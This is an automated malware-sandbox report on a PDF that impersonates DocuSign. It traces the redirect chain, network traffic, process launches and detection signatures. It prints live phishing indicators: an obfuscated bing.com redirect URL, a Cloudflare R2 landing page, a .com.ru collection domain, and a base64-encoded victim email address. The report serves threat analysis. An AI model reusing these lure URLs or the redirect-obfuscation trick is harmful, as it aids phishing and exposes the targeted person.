Edit tour

Windows Analysis Report
xJwSq336bs.pdf

Overview

General Information

Sample name:	xJwSq336bs.pdf renamed because original name is a hash value
Original sample name:	53cf6e9968a5234c923f2826d5e9fa97c880c3fd.pdf
Analysis ID:	1467831
MD5:	3c860412604778442a97627e84abc63b
SHA1:	53cf6e9968a5234c923f2826d5e9fa97c880c3fd
SHA256:	bb6e4fa5ab06f4c632734a62f0009901a4b6b32b4c71de65aa644c19c5e729ca
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

AI detected suspicious PDF

HTML page contains hidden URLs or javascript code

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 7136 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\xJwSq336bs.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3300 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7288 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1564,i,13095701672295818797,3944733196950927532,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 8164 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://r%2eg%2eb%69ng%2ecom/bam/ac?!&&u=a1aHR0cHM6Ly9wdWItYWQ4YmRiYjMyMTY5NDkzNGE5YTIxOGVlYjY4Njg1NTkucjIuZGV2L2xpbmsuaHRtbCM&bWFyaWUtY2xhdWRlLmJlZ2luQG9taHNoZXJicm9va2UucWMuY2E=" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2124 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=2020,i,6328722041011328787,10411392948838012152,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

HTTP traffic detected: POST // HTTP/1.1Host: menlologistics.com.ruConnection: keep-aliveContent-Length: 17sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: text/plain;charset=UTF-8Accept: */*Origin: https://pub-ad8bdbb321694934a9a218eeb6868559.r2.devSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pub-ad8bdbb321694934a9a218eeb6868559.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 04 Jul 2024 19:06:01 GMTContent-Type: text/htmlContent-Length: 27150Connection: closeServer: cloudflareCF-RAY: 89e163dc7a810f4d-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 04 Jul 2024 19:06:03 GMTContent-Type: text/htmlContent-Length: 27150Connection: closeServer: cloudflareCF-RAY: 89e163edf89dc466-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 04 Jul 2024 19:06:04 GMTContent-Type: text/htmlContent-Length: 27150Connection: closeServer: cloudflareCF-RAY: 89e163f34d79c327-EWR

Source: E0F5C59F9FA661F6F4C50B87FEF3A15A0.1.dr	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c
Source: 77EC63BDA74BD0D0E0426DC8F80085060.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: chromecache_191.10.dr	String found in binary or memory: https://cdn.jsdelivr.net/npm/
Source: chromecache_191.10.dr	String found in binary or memory: https://cdn.jsdelivr.net/npm/bootstrap
Source: chromecache_194.10.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Source: chromecache_191.10.dr	String found in binary or memory: https://code.jquery.com/jquery-3.5.1.slim.min.js
Source: chromecache_195.10.dr	String found in binary or memory: https://developers.cloudflare.com/r2/data-access/public-buckets/
Source: chromecache_191.10.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRj9z_hgFkFomQz6SE0hZ3jtkWaAArgdoZ8OOuYjfT4XQ&s
Source: chromecache_191.10.dr	String found in binary or memory: https://menlologistics.com.ru/#
Source: chromecache_191.10.dr	String found in binary or memory: https://menlologistics.com.ru/#about
Source: chromecache_191.10.dr	String found in binary or memory: https://menlologistics.com.ru/#classic-cars
Source: chromecache_191.10.dr	String found in binary or memory: https://menlologistics.com.ru/#contact
Source: chromecache_191.10.dr	String found in binary or memory: https://menlologistics.com.ru/#electric-vehicles
Source: chromecache_191.10.dr	String found in binary or memory: https://menlologistics.com.ru/#faq
Source: chromecache_191.10.dr	String found in binary or memory: https://menlologistics.com.ru/#learn-more
Source: chromecache_191.10.dr	String found in binary or memory: https://menlologistics.com.ru/#modern-supercars
Source: chromecache_191.10.dr	String found in binary or memory: https://menlologistics.com.ru/#privacy
Source: chromecache_191.10.dr	String found in binary or memory: https://menlologistics.com.ru/#services
Source: chromecache_191.10.dr	String found in binary or memory: https://menlologistics.com.ru/#terms
Source: chromecache_191.10.dr	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js
Source: chromecache_191.10.dr	String found in binary or memory: https://www.carlogos.org/uploads/2023/most-bought-super-cars-in-illinois-huracan.jpg
Source: chromecache_195.10.dr	String found in binary or memory: https://www.cloudflare.com/favicon.ico
Source: chromecache_191.10.dr	String found in binary or memory: https://www.experienceferrari.com/wp-content/uploads/2024/04/1968-Dodge-Charger-RT.jpg

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.4:49772 version: TLS 1.2

Source: classification engine

Classification label: mal52.winPDF@41/56@12/8

Source: xJwSq336bs.pdf	Initial sample: https://r%2eg%2eb%69ng%2ecom/bam/ac?!&&u=a1ahr0chm6ly9wdwitywq4ymriyjmymty5ndkznge5ytixogvlyjy4njg1ntkucjiuzgv2l2xpbmsuahrtbcm&bwfyawuty2xhdwrllmjlz2luqg9tahnozxjicm9va2uucwmuy2e=
Source: xJwSq336bs.pdf	Initial sample: https://r%2eg%2eb%69ng%2ecom/bam/ac?!&&u=a1aHR0cHM6Ly9wdWItYWQ4YmRiYjMyMTY5NDkzNGE5YTIxOGVlYjY4Njg1NTkucjIuZGV2L2xpbmsuaHRtbCM&bWFyaWUtY2xhdWRlLmJlZ2luQG9taHNoZXJicm9va2UucWMuY2E=

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-07-04 15-05-33-503.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\xJwSq336bs.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1564,i,13095701672295818797,3944733196950927532,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://r%2eg%2eb%69ng%2ecom/bam/ac?!&&u=a1aHR0cHM6Ly9wdWItYWQ4YmRiYjMyMTY5NDkzNGE5YTIxOGVlYjY4Njg1NTkucjIuZGV2L2xpbmsuaHRtbCM&bWFyaWUtY2xhdWRlLmJlZ2luQG9taHNoZXJicm9va2UucWMuY2E="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=2020,i,6328722041011328787,10411392948838012152,262144 /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1564,i,13095701672295818797,3944733196950927532,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=2020,i,6328722041011328787,10411392948838012152,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: xJwSq336bs.pdf	Initial sample: PDF keyword /JS count = 0
Source: xJwSq336bs.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: xJwSq336bs.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Persistence and Installation Behavior

AI detected suspicious PDF

Source: PDF shot

LLM: Score: 8 Reasons: The screenshot contains a visually prominent 'View Documents' button which is likely to attract user clicks. The text 'Please review and sign your document' creates a sense of urgency. The email appears to impersonate DocuSign, a well-known brand, which adds credibility to the phishing attempt. The combination of urgency and a prominent call-to-action button significantly increases the risk of phishing.

Source: https://pub-ad8bdbb321694934a9a218eeb6868559.r2.dev/link.html#?bWFyaWUtY2xhdWRlLmJlZ2luQG9taHNoZXJicm9va2UucWMuY2E=	HTTP Parser: No favicon
Source: https://pub-ad8bdbb321694934a9a218eeb6868559.r2.dev/link.html#?bWFyaWUtY2xhdWRlLmJlZ2luQG9taHNoZXJicm9va2UucWMuY2E=	HTTP Parser: No favicon

Source: Joe Sandbox View	IP Address: 104.18.2.35 104.18.2.35
Source: Joe Sandbox View	IP Address: 104.18.2.35 104.18.2.35
Source: Joe Sandbox View	IP Address: 23.47.168.24 23.47.168.24
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 23.47.168.24
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183

Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /onboarding/smskillreader.txt HTTP/1.1Host: armmf.adobe.comConnection: keep-aliveAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brIf-None-Match: "78-5faa31cce96da"If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Hp9snZF7dKOoUty&MD=YmpwYxfF HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /link.html HTTP/1.1Host: pub-ad8bdbb321694934a9a218eeb6868559.r2.devConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-ad8bdbb321694934a9a218eeb6868559.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pub-ad8bdbb321694934a9a218eeb6868559.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-ad8bdbb321694934a9a218eeb6868559.r2.dev/link.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /, HTTP/1.1Host: pub-ad8bdbb321694934a9a218eeb6868559.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-ad8bdbb321694934a9a218eeb6868559.r2.dev/link.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET // HTTP/1.1Host: menlologistics.com.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-ad8bdbb321694934a9a218eeb6868559.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /, HTTP/1.1Host: pub-ad8bdbb321694934a9a218eeb6868559.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-ad8bdbb321694934a9a218eeb6868559.r2.dev/link.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Hp9snZF7dKOoUty&MD=YmpwYxfF HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: pub-ad8bdbb321694934a9a218eeb6868559.r2.dev
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: menlologistics.com.ru
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com

